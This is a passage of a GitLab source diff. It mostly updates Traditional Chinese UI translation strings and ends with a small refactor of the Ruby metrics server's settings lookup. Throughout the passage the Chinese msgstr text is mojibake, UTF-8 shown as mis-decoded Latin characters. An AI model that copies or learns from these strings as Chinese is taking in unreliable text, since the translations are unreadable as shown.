msgstr "已使用的購買儲存"
@@ -44149,24 +44841,12 @@ msgstr "該命å空間目å‰æ­£åœ¨ä½¿ç”¨ %{strong_start}%{used_storage}%{strong
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr "下方表格顯示自 %{usageSince} 以來的使用情æ³"
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr "這是此命å空間中所有專案使用的儲存空間總和。"
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr "這是超出專案å…è²»%{actualRepositorySizeLimit}儲存é™åˆ¶çš„儲存空間。"
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr "此命å空間目å‰æ²’有使用共享執行器的專案"
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr "此表çœç•¥äº†ä½¿ç”¨ 0 CI/CD 分é˜æˆ– 0 共享執行器æŒçºŒæ™‚間的專案"
-msgid "UsageQuota|Total excess storage used"
-msgstr "已使用超é‡å„²å­˜ç©ºé–“總計"
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr "已使用命å空間儲存總計"
-
msgid "UsageQuota|Uploads"
msgstr "上傳"
@@ -44194,9 +44874,6 @@ msgstr "%{strong_start}%{project_name}%{strong_end} 專案中專案資æºä½¿ç”¨æ
msgid "UsageQuota|Usage of resources across your projects"
msgstr "您的專案中資æºä½¿ç”¨æƒ…æ³"
-msgid "UsageQuota|Usage quotas help link"
-msgstr "使用é…é¡å¹«åŠ©é€£çµ"
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr "使用者設定 &gt; 使用é¡åº¦"
@@ -44215,15 +44892,9 @@ msgstr "您已用完所有é¡å¤–儲存空間,請購買更多空間以解鎖超
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr "您已é”到 %{projectsLockedText} çš„å…費儲存é™åˆ¶ï¼Œè¦è§£éŽ–它們,請購買é¡å¤–的儲存空間。"
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr "您已使用: %{usage} %{limit}"
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr "您購買的儲存空間ä¸è¶³ï¼Œç‚ºé¿å…專案被鎖定,請購買更多的儲存空間。"
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr "超éŽæ‚¨å‘½å空間儲存的%{formattedLimit}"
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr "無法載入議題和åˆä½µè«‹æ±‚圖表,請é‡æ–°æ•´ç†é é¢é‡è©¦ã€‚"
@@ -44380,6 +45051,9 @@ msgstr "使用模æ¿"
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr "使用上é¢çš„ %{strongStart}測試%{strongEnd} é¸é …建立事件。"
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr "使用 Apple App Store Connect æ•´åˆï¼Œé€éŽ CI/CD æµæ°´ç·šä¸­çš„ Fastlane 輕鬆連çµè‡³ Apple App Store。"
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr "使用以下連çµç¢ºèªæ‚¨çš„é›»å­éƒµä»¶åœ°å€ (%{email})"
@@ -44435,6 +45109,12 @@ msgstr "使用者 %{current_user_username} 已開始使用%{username}的身份"
msgid "User %{username} was successfully removed."
msgstr "使用者 %{username} å·²æˆåŠŸåˆªé™¤ã€‚"
+msgid "User %{user} SCIM identity is deactivated"
+msgstr "使用者 %{user} SCIM 身份已被åœç”¨"
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr "使用者 %{user} SCIM 身份被é‡æ–°å•Ÿç”¨"
+
msgid "User %{user} was removed from %{group}."
msgstr "使用者 %{user} 已從 %{group} 移除。"
@@ -44609,9 +45289,6 @@ msgstr "(忙碌)"
msgid "UserProfile|Activity"
msgstr "活動"
-msgid "UserProfile|Already reported for abuse"
-msgstr "已報告濫用"
-
msgid "UserProfile|Blocked user"
msgstr "å·²ç¦ç”¨ä½¿ç”¨è€…"
@@ -44678,12 +45355,12 @@ msgstr "收è—(星號)的專案"
msgid "UserProfile|Subscribe"
msgstr "關注"
+msgid "UserProfile|There are no projects available to be displayed here."
+msgstr "此處沒有å¯é¡¯ç¤ºçš„專案。"
+
msgid "UserProfile|This user doesn't have any followers."
msgstr "這個使用者沒有任何關注者。"
-msgid "UserProfile|This user doesn't have any personal projects"
-msgstr "使用者沒有任何個人專案"
-
msgid "UserProfile|This user has a private profile"
msgstr "此使用者具有éžå…¬é–‹å€‹äººè³‡æ–™è¨­å®š"
@@ -44849,11 +45526,8 @@ msgstr "當缺少加密欄ä½æ™‚,使用必è¦çš„加密策略ï¼"
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr "使用%{codeStart}needs%{codeEnd}é—œéµå­—讓作業項比其所在階段更早執行。åªè¦å®ƒå€‘çš„%{codeStart}needs%{codeEnd}關係得到滿足,作業將盡快執行,從而實ç¾æµæ°´ç·šåŠ é€Ÿã€‚"
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr "ç€è¦½å™¨ä¸­çš„ VS 程å¼ç¢¼ï¼Œå¾žèˆ‡æœ¬æ©Ÿ IDE 相åŒçš„ UI 查看程å¼ç¢¼ä¸¦é€²è¡Œä¿®æ”¹ 🎉"
-
-msgid "Valid From"
-msgstr "有效期自"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
+msgstr "ç€è¦½å™¨ä¸­çš„ VS Code。從與本機 IDE 相åŒçš„使用者介é¢æª¢è¦–程å¼ç¢¼ä¸¦é€²è¡Œä¿®æ”¹ã€‚"
msgid "Validate"
msgstr "é©—è­‰"
@@ -45044,6 +45718,9 @@ msgstr "您ç¾åœ¨å¯ä»¥åœ¨å…±äº«åŸ·è¡Œå™¨åˆ©ç”¨å…費的 CI/CD 時數。"
msgid "Verified"
msgstr "已驗證"
+msgid "Verified commit"
+msgstr "已驗證的æ交"
+
msgid "Verify SAML Configuration"
msgstr "驗證SAML設定"
@@ -45056,9 +45733,6 @@ msgstr "驗證設定"
msgid "Version"
msgstr "版本"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr "%{report_type} 報告類型的 %{report_version} 版本已被棄用,此報告類型支æ´çš„版本為:%{supported_schema_versions}。如果有效,GitLab 將嘗試解æžå’Œç²å–該報告。"
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr "%{report_type} 報告類型的 %{report_version} 版本已ä¸è¢«æ”¯æ´ ,此報告類型支æ´çš„版本是:%{supported_schema_versions}。 GitLab 將嘗試根據此報告類型的最早支æ´ç‰ˆæœ¬é©—證此報告並顯示所有錯誤,但ä¸æœƒç²å–報告"
@@ -45128,6 +45802,9 @@ msgstr "查看所有議題"
msgid "View all projects"
msgstr "檢視全部專案"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr "檢視與編輯 Markdown,å¯é¸æ“‡é è¦½æ ¼å¼åŒ–的輸出。"
+
msgid "View blame"
msgstr "查看責任歸屬(blame)"
@@ -45220,6 +45897,9 @@ msgstr "查看日誌"
msgid "View logs"
msgstr "查看日誌"
+msgid "View markdown"
+msgstr "檢視 Markdown"
+
msgid "View milestones"
msgstr "查看里程碑"
@@ -45251,6 +45931,9 @@ msgstr[0] "查看公開 GPG 金鑰"
msgid "View replaced file @ "
msgstr "查看å–代文件 @ "
+msgid "View rich text"
+msgstr "檢視è±å¯Œæ–‡å­—"
+
msgid "View seat usage"
msgstr "查看席次使用情æ³"
@@ -45263,6 +45946,9 @@ msgstr "使用 %{projects_api_link} 查看 %{project_link} 的 %{code_open}last_
msgid "View the documentation"
msgstr "查看文件"
+msgid "View the formatted output in real-time as you edit."
+msgstr "在編輯時å³æ™‚檢視格å¼åŒ–輸出。"
+
msgid "View the latest successful deployment to this environment"
msgstr "檢視此環境中最新一次的æˆåŠŸéƒ¨ç½²"
@@ -45287,9 +45973,6 @@ msgstr "使用統一的 URL 無法從主站查看專案和設計資料,直接å
msgid "Violation"
msgstr "é•è¦"
-msgid "Visibility"
-msgstr "å¯è¦‹æ€§"
-
msgid "Visibility and access controls"
msgstr "å¯è¦‹æ€§èˆ‡å­˜å–控制"
@@ -46022,12 +46705,12 @@ msgstr "å¿…é ˆåŒ¹é… URL 的一部分"
msgid "Webhooks|Pipeline events"
msgstr "æµæ°´ç·šäº‹ä»¶"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
-msgstr "æ”¯æ´ %{REGEX_CODE} 等正則表é”å¼ã€‚"
-
msgid "Webhooks|Regular expression"
msgstr "正則表é”å¼"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
+msgstr "æ”¯æ´ %{REGEX_CODE} 等正è¦è¡¨ç¤ºå¼ã€‚"
+
msgid "Webhooks|Releases events"
msgstr "發布事件"
@@ -46471,9 +47154,21 @@ msgstr "正在進行中(開啟且未指派)"
msgid "Work in progress Limit"
msgstr "「進行中(Work in progress, WIP)ã€çš„é™åˆ¶"
+msgid "WorkItem|%{count} more assignees"
+msgstr "åŠå…¶ä»– %{count} å指派人"
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr "無法新增 %{invalidWorkItemsList}:無法指派éžæ©Ÿå¯†çš„ %{childWorkItemType} 給機密上層 %{parentWorkItemType}。將é¸å®šçš„ %{childWorkItemType} 標記為機密,並å†è©¦ä¸€æ¬¡ã€‚"
+
msgid "WorkItem|%{workItemType} deleted"
msgstr "%{workItemType} 已刪除"
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr "無法將éžæ©Ÿå¯†çš„ %{workItemType} 指派給機密上層 %{parentWorkItemType}。"
+
+msgid "WorkItem|Activity"
+msgstr "活動"
+
msgid "WorkItem|Add"
msgstr "新增"
@@ -46559,6 +47254,9 @@ msgstr "ç¾æœ‰ä»»å‹™"
msgid "WorkItem|Expand tasks"
msgstr "展開任務"
+msgid "WorkItem|Health status"
+msgstr "å¥åº·ç‹€æ…‹"
+
msgid "WorkItem|Incident"
msgstr "事故"
@@ -46568,7 +47266,7 @@ msgstr "議題"
msgid "WorkItem|Iteration"
msgstr "迭代"
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr "é—œéµçµæžœ"
msgid "WorkItem|Milestone"
@@ -46601,8 +47299,8 @@ msgstr "ç„¡"
msgid "WorkItem|Objective"
msgstr "目標"
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
-msgstr "åªæœ‰è‡³å°‘具有報告者角色的專案æˆå“¡ã€ä½œè€…å’Œå—指派者å¯ä»¥æŸ¥çœ‹æˆ–收到有關此任務的通知。"
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
+msgstr "åªæœ‰è‡³å°‘具有報告者角色的專案æˆå“¡ã€ä½œè€…å’Œå—指派者å¯ä»¥æŸ¥çœ‹æˆ–收到有關此 %{workItemType} 的通知。"
msgid "WorkItem|Open"
msgstr "é–‹å•Ÿ"
@@ -46655,6 +47353,12 @@ msgstr "嘗試建立å­é …時發生錯誤,請å†è©¦ä¸€æ¬¡ã€‚"
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr "讀å–里程碑時發生錯誤,請å†è©¦ä¸€æ¬¡ã€‚"
+msgid "WorkItem|Something went wrong while removing child."
+msgstr "移除å­é …目時發生錯誤。"
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr "還原å­é …目移除時發生錯誤。"
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr "æ›´æ–° %{workItemType} 時發生錯誤,請é‡è©¦ã€‚"
@@ -46676,6 +47380,12 @@ msgstr "任務"
msgid "WorkItem|Test case"
msgstr "測試案例"
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr "æ­¤ %{workItemType} 是機密的,åªèƒ½é¡¯ç¤ºçµ¦æ“有至少「報告人ã€å­˜å–權é™çš„團隊æˆå“¡ã€‚"
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr "此目標是機密的,åªèƒ½é¡¯ç¤ºçµ¦æ“有至少「報告人ã€å­˜å–權é™çš„團隊æˆå“¡ã€‚"
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr "該工作項目無法使用,å¯èƒ½ç‚ºä¸å­˜åœ¨æˆ–您無權查看它。"
@@ -46779,6 +47489,9 @@ msgstr "您將è¦åˆªé™¤æ­¤åˆ†å‰å°ˆæ¡ˆï¼Œå…¶ä¸­åŒ…å«ï¼š"
msgid "You are about to delete this project containing:"
msgstr "您將è¦åˆªé™¤æ­¤å°ˆæ¡ˆï¼Œå…¶ä¸­åŒ…å«ï¼š"
+msgid "You are about to incur additional charges"
+msgstr "您å³å°‡ç”¢ç”Ÿé¡å¤–費用"
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "您å³å°‡æŠŠå¸³è™ŸæŽ§åˆ¶æ¬Šè½‰ç§»åˆ°%{group_name}群組。此æ“作ä¸å¯æ’¤æ¶ˆï¼Œè½‰ç§»å®Œæˆå¾Œï¼Œæ‚¨å°‡ç„¡æ³•å­˜å–%{group_name}以外的任何群組和專案。"
@@ -46911,9 +47624,6 @@ msgstr "您也å¯ä»¥æŒ‰ ⌘-Enter"
msgid "You can also star a label to make it a priority label."
msgstr "å¯ä»¥é€éŽç‚ºæ¨™è¨˜è¨­å®šæ”¶è—(星號)來æ高其優先度。"
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "您å¯ä»¥åœ¨ %{lint_link_start}CI Lint%{lint_link_end} 中測試 %{gitlab_ci_yml}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "您還å¯ä»¥æŒ‰ç…§ä»¥ä¸‹èªªæ˜Žå¾žé›»è…¦ä¸­ä¸Šå‚³ç¾æœ‰æ–‡ä»¶ã€‚"
@@ -47004,6 +47714,9 @@ msgstr "您å¯ä»¥é‚€è«‹æ–°æˆå“¡åŠ å…¥%{project_name}。"
msgid "You can invite another group to %{project_name}."
msgstr "您å¯ä»¥é‚€è«‹å¦ä¸€å€‹ç¾¤çµ„加入%{project_name}。"
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr "您å¯ä»¥åœ¨åŸ·è¡Œå‰å†æ¬¡ä¿®æ”¹æ­¤ä½œæ¥­çš„ CI/CD 變數。"
+
msgid "You can move around the graph by using the arrow keys."
msgstr "å¯ä»¥ä½¿ç”¨æ–¹å‘éµç§»å‹•åœ–形。"
@@ -47043,9 +47756,6 @@ msgstr "您å¯ä»¥å°‡ä½œæ¥­è¨­å®šç‚ºåƒ…使用具有特定標籤的執行器(runne
msgid "You can specify notification level per group or per project."
msgstr "您å¯ä»¥æŒ‡å®šæ¯å€‹ç¾¤çµ„或æ¯å€‹å°ˆæ¡ˆçš„通知級別。"
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "您也å¯ä»¥é€šéŽ%{linkStart}Lint%{linkEnd}測試.gitlab-ci.yml."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr "您å¯ä»¥æŸ¥çœ‹ä¾†æºç¨‹å¼ç¢¼æˆ–%{linkStart}%{cloneIcon}複製 (Clone) 版本庫%{linkEnd}"
@@ -47061,8 +47771,8 @@ msgstr "您ä¸èƒ½å­˜å–原始文件。請ç¨å€™ã€‚"
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr "您ä¸èƒ½å†å¢žåŠ ä»»ä½•å²è©© (epics),該å²è©© (epic) 已經æ“有最大數é‡çš„å­å²è©© (epics)。"
-msgid "You cannot approve your own deployment."
-msgstr "您ä¸èƒ½æ ¸å‡†æ‚¨è‡ªå·±çš„部署。"
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
+msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
msgstr "您ä¸èƒ½å°‡ replace_ids 與 add_ids 或 remove_ids çµåˆä½¿ç”¨"
@@ -47154,8 +47864,8 @@ msgstr "您沒有任何開啟的åˆä½µè«‹æ±‚"
msgid "You don't have any recent searches"
msgstr "您沒有任何近期的æœå°‹"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
-msgstr "您無權查看此部署。è¯çµ¡å°ˆæ¡ˆæˆ–群組所有者尋求幫助。"
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
+msgstr "您無權批准此部署。è¯çµ¡å°ˆæ¡ˆæˆ–群組所有者尋求幫助。"
msgid "You don't have permission to view this epic"
msgstr "您無權查看該å²è©© (epic) "
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] "您有 %{pendingMembersCount} 個待處ç†æˆå“¡éœ€è¦æ ¸å‡†ã€‚"
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "您已被授予 %{access_level} å­˜å– %{source_link} %{source_type} 的權é™ã€‚"
@@ -47299,6 +48012,9 @@ msgstr "å¿…é ˆæ“有維護者權é™æ‰èƒ½å¼·åˆ¶åˆªé™¤éŽ–定"
msgid "You must provide a valid current password"
msgstr "您必須æ供一個有效的目å‰å¯†ç¢¼"
+msgid "You must provide at least one filter argument for this query"
+msgstr "您必須為此查詢æ供至少一個éŽæ¿¾åƒæ•¸"
+
msgid "You must provide your current password in order to change it."
msgstr "您必須æ供目å‰å¯†ç¢¼æ‰èƒ½é€²è¡Œè®Šæ›´ã€‚"
@@ -47452,8 +48168,9 @@ msgstr "您已經使用一次密碼驗證器來啟用了雙因å­èªè­‰ã€‚如果
msgid "You've rejected %{user}"
msgstr "您拒絕了 %{user}"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr "您已æˆåŠŸè³¼è²· %{seats} çš„ %{plan} 訂閱計劃,您將通éŽé›»å­éƒµä»¶æ”¶åˆ°æ”¶æ“šã€‚您的購買å¯èƒ½éœ€è¦ä¸€åˆ†é˜æ‰èƒ½åŒæ­¥ï¼Œå¦‚果您的訂閱詳細資訊尚未顯示,請刷新該é é¢ã€‚"
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] "您已æˆåŠŸè³¼è²· %{quantity} 個使用者的 %{plan} 訂閱計劃,您將通éŽé›»å­éƒµä»¶æ”¶åˆ°æ”¶æ“šã€‚您的購買å¯èƒ½éœ€è¦ä¸€åˆ†é˜æ‰èƒ½åŒæ­¥ï¼Œå¦‚果您的訂閱詳細資訊尚未顯示,請刷新該é é¢ã€‚"
msgid "YouTube"
msgstr "YouTube"
@@ -47690,6 +48407,9 @@ msgstr "您的消æ¯é¡¯ç¤ºæ–¼æ­¤"
msgid "Your name"
msgstr "您的åå­—"
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr "您的 %{namespace_name} 命å空間已é”到 %{free_limit} 個使用者é™åˆ¶"
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr "您的命å空間 %{namespace_name} 超éŽäº† %{free_limit} 個使用者的é™åˆ¶ï¼Œä¸”被置於唯讀狀態。"
@@ -47717,8 +48437,8 @@ msgstr "您的密碼"
msgid "Your password reset token has expired."
msgstr "您的密碼é‡è¨­ä»¤ç‰Œå·²éŽæœŸã€‚"
-msgid "Your personal access token has expired"
-msgstr "您的個人存å–令牌已éŽæœŸ"
+msgid "Your personal access tokens have expired"
+msgstr "您的個人存å–æ¬Šæ– (令牌) å·²éŽæœŸ"
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr "您的個人存å–令牌將在 %{days_to_expire} 天或更短的時間內到期"
@@ -47793,6 +48513,9 @@ msgstr "您的更新失敗,拖放到ç¾æœ‰è¨­è¨ˆæ™‚,您必須上傳具有相
msgid "Your username is %{username}."
msgstr "您的使用者å是%{username}。"
+msgid "Your work"
+msgstr "您的作å“"
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr "您將永久刪除 %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’,為é¿å…資料丟失,請考慮以 %{strongOpen} 關閉該 %{issuableType} %{strongClose} 來代替刪除。一旦刪除,就無法撤消或æ¢å¾©ã€‚"
@@ -47991,6 +48714,9 @@ msgstr "åªèƒ½åŒ…å«å°å¯«å­—æ¯ã€æ•¸å­—和「_ã€ã€‚"
msgid "can not be changed for existing notes"
msgstr "無法更改ç¾æœ‰è¨»é‡‹"
+msgid "can not be changed to %{new_type}"
+msgstr "無法變更為 %{new_type}"
+
msgid "can not be set for this resource"
msgstr "無法設定該資æº"
@@ -48223,11 +48949,14 @@ msgstr "å¢é›†æ˜ åƒæŽƒæ"
msgid "ciReport|Code Quality"
msgstr "程å¼ç¢¼è³ªé‡(Code Quality)"
-msgid "ciReport|Code Quality failed loading results"
-msgstr "程å¼ç¢¼è³ªé‡(Code Quality)載入çµæžœå¤±æ•—"
+msgid "ciReport|Code Quality failed to load results"
+msgstr "程å¼ç¢¼å“質çµæžœè¼‰å…¥å¤±æ•—"
+
+msgid "ciReport|Code Quality hasn't changed."
+msgstr "程å¼ç¢¼å“質並未變更。"
-msgid "ciReport|Code Quality test metrics results are being parsed"
-msgstr "正在解æžç¨‹å¼ç¢¼è³ªé‡(Code Quality)測試指標çµæžœ"
+msgid "ciReport|Code Quality is loading"
+msgstr "程å¼ç¢¼å“質正在載入"
msgid "ciReport|Code quality degraded due to 1 new issue"
msgid_plural "ciReport|Code quality degraded due to %d new issues"
@@ -48376,9 +49105,6 @@ msgstr "新增"
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr "æ–°æ¼æ´žæ˜¯å®‰å…¨æŽƒæ在åˆä½µè«‹æ±‚中檢測到與é è¨­åˆ†æ”¯ç¾æœ‰æ¼æ´žä¸åŒçš„æ¼æ´žã€‚"
-msgid "ciReport|No changes to Code Quality."
-msgstr "程å¼ç¢¼è³ªé‡(Code Quality)無變化。"
-
msgid "ciReport|No changes to code quality"
msgstr "程å¼ç¢¼è³ªé‡(Code Quality)無變化"
@@ -48855,9 +49581,6 @@ msgstr "ä¸æ˜¯"
msgid "is not a descendant of the Group owning the template"
msgstr "ä¸æ˜¯æ“有範本的群組å­æˆå“¡"
-msgid "is not a valid URL."
-msgstr "ä¸æ˜¯ä¸€å€‹æœ‰æ•ˆçš„ URL。"
-
msgid "is not a valid X509 certificate."
msgstr "ä¸æ˜¯æœ‰æ•ˆçš„X509憑證。"
@@ -49367,6 +50090,9 @@ msgstr "必須與群組或專案相關è¯"
msgid "must be greater than start date"
msgstr "必須大於開始日期"
+msgid "must be in ISO 8601 format"
+msgstr "必須為 ISO 8601 æ ¼å¼"
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr "必須與自定義角色的命å空間處於åŒä¸€å±¤çµæ§‹ä¸­"
@@ -49454,12 +50180,6 @@ msgstr "%{item}, %{nextItem}"
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr "%{item},和 %{lastItem}"
-msgid "only %{parent_types} can be parent of Task."
-msgstr "åªæœ‰ %{parent_types} å¯ä»¥æ˜¯ Task 的父級。"
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr "åªæœ‰ä»»å‹™å¯ä»¥è¢«åˆ†é…為層次çµæ§‹ä¸­çš„å­é …。"
-
msgid "only available on top-level groups."
msgstr "åªèƒ½åœ¨æœ€ä¸Šå±¤ç¾¤çµ„中使用。"
@@ -49864,6 +50584,9 @@ msgstr "'%{storage}'的值必須在 0 到 100 之間"
msgid "verify ownership"
msgstr "驗證所有權"
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr " %{report_type} 報告類型的 %{report_version} 版本已棄用;但是,GitLab ä»å°‡å˜—試解æžå’Œæˆªå–該報告。請將安全報告å‡ç´šåˆ°ä»¥ä¸‹ç‰ˆæœ¬ä¹‹ä¸€ï¼š%{current_schema_versions}。"
+
msgid "version %{versionIndex}"
msgstr "版本 %{versionIndex}"
diff --git a/metrics_server/metrics_server.rb b/metrics_server/metrics_server.rb
index 0516d711ffb..269d03f6d0c 100644
--- a/metrics_server/metrics_server.rb
+++ b/metrics_server/metrics_server.rb
@@ -38,20 +38,19 @@ class MetricsServer # rubocop:disable Gitlab/NamespacedClass
def spawn(target, metrics_dir:, **options)
return spawn_ruby_server(target, metrics_dir: metrics_dir, **options) unless new_metrics_server?
- name = settings_key(target)
- settings = ::Settings.monitoring[name]
+ settings = settings_value(target)
path = options[:path]&.then { |p| Pathname.new(p) } || Pathname.new('')
cmd = path.join('gitlab-metrics-exporter').to_path
env = {
'GOGC' => '10', # Set Go GC heap goal to 10% to curb memory growth.
'GME_MMAP_METRICS_DIR' => metrics_dir.to_s,
- 'GME_PROBES' => 'self,mmap',
+ 'GME_PROBES' => 'self,mmap,mmap_stats',
'GME_SERVER_HOST' => settings['address'],
'GME_SERVER_PORT' => settings['port'].to_s
}
if settings['log_enabled']
- env['GME_LOG_FILE'] = File.join(Rails.root, 'log', "#{name}.log")
+ env['GME_LOG_FILE'] = File.join(Rails.root, 'log', "#{name(target)}.log")
env['GME_LOG_LEVEL'] = 'info'
else
env['GME_LOG_LEVEL'] = 'quiet'
@@ -106,8 +105,27 @@ class MetricsServer # rubocop:disable Gitlab/NamespacedClass
pid
end
+ def name(target)
+ case target
+ when 'puma' then 'web_exporter'
+ when 'sidekiq' then 'sidekiq_exporter'
+ else ensure_valid_target!(target)
+ end
+ end
+
private
+ # We need to use `.` (dot) notation to access the updates we did in `config/initializers/1_settings.rb`
+ # For that reason, avoid using `[]` ("optional/dynamic settings notation") to resolve it dynamically.
+ # Refer to https://gitlab.com/gitlab-org/gitlab/-/issues/386865
+ def settings_value(target)
+ case target
+ when 'puma' then ::Settings.monitoring.web_exporter
+ when 'sidekiq' then ::Settings.monitoring.sidekiq_exporter
+ else ensure_valid_target!(target)
+ end
+ end
+
def new_metrics_server?
Gitlab::Utils.to_boolean(ENV['GITLAB_GOLANG_METRICS_SERVER'])
end
@@ -115,14 +133,6 @@ class MetricsServer # rubocop:disable Gitlab/NamespacedClass
def ensure_valid_target!(target)
raise "Target must be one of [puma,sidekiq]" unless %w(puma sidekiq).include?(target)
end
-
- def settings_key(target)
- case target
- when 'puma' then 'web_exporter'
- when 'sidekiq' then 'sidekiq_exporter'
- else ensure_valid_target!(target)
- end
- end
end
def initialize(target, metrics_dir, wipe_metrics_dir)
@@ -152,7 +162,7 @@ class MetricsServer # rubocop:disable Gitlab/NamespacedClass
when 'puma'
Gitlab::Metrics::Exporter::WebExporter.instance(**default_opts)
when 'sidekiq'
- settings = Settings.new(Settings.monitoring[name])
+ settings = Settings.new(Settings.monitoring.sidekiq_exporter)
Gitlab::Metrics::Exporter::SidekiqExporter.instance(settings, **default_opts)
end
@@ -160,9 +170,6 @@ class MetricsServer # rubocop:disable Gitlab/NamespacedClass
end
def name
- case @target
- when 'puma' then 'web_exporter'
- when 'sidekiq' then 'sidekiq_exporter'
- end
+ self.class.name(@target)
end
end
diff --git a/metrics_server/settings_overrides.rb b/metrics_server/settings_overrides.rb
index b3fd39229d5..d6c8fc79941 100644
--- a/metrics_server/settings_overrides.rb
+++ b/metrics_server/settings_overrides.rb
@@ -7,7 +7,7 @@
# to all necessary constants. For example, we need Rails.root to
# determine the location of bin/metrics-server.
# Here we make the necessary constants available conditionally.
-require_relative 'override_rails_constants' unless Object.const_defined?('Rails')
+require_relative 'override_rails_constants' unless Object.const_defined?(:Rails)
# We need to supply this outside of Rails because:
# RubySampler needs Gitlab::Metrics needs Gitlab::Metrics::Prometheus needs Gitlab::CurrentSettings needs ::Settings
diff --git a/package.json b/package.json
index ef7eac995ad..82e1ba64eae 100644
--- a/package.json
+++ b/package.json
@@ -14,7 +14,7 @@
"jest": "jest --config jest.config.js",
"jest-debug": "node --inspect-brk node_modules/.bin/jest --runInBand",
"jest:ci": "jest --config jest.config.js --ci --coverage --testSequencer ./scripts/frontend/parallel_ci_sequencer.js",
